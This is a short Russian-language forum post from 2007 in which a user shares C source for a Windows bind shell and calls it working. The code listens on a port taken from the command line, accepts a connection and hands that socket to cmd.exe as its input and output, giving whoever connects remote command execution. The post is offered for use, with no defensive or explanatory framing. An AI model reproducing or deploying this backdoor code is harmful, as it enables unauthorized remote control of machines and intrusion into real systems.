Показать сообщение отдельно

  #4  
Старый 07.12.2007, 23:11
__mad
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме:
548128

Репутация: 104
По умолчанию

Код:
#include <winsock2.h>

void main(int argc, char **argv)
{
     WSADATA wsd;
     int fd,newfd;
     struct sockaddr_in sin;
     char *cmd = "cmd";
     STARTUPINFO si;
     PROCESS_INFORMATION pi;

	 memset(&si,0,sizeof(si));
	 memset(&pi,0,sizeof(pi));
	 
     WSAStartup(0x101,&wsd);
	 fd=WSASocketA (2,1,0,0,0,0);

     sin.sin_family=2;
     sin.sin_addr.s_addr=0;
     sin.sin_port=htons(atoi(argv[1]));
	 
	 bind(fd,(struct sockaddr *)&sin, 0x10);
	 listen(fd,0);
     
	 newfd=accept(fd,(struct sockaddr *)&sin,0);	 
     si.cb=sizeof(si);
     si.dwFlags=0x0101;
     si.hStdInput=(char*)newfd;
     si.hStdOutput=(char*)newfd;
     si.hStdError=(char*)newfd;

     CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);

     WaitForSingleObject(pi.hProcess, INFINITE);
     ExitThread(0);
}
вот рабочий...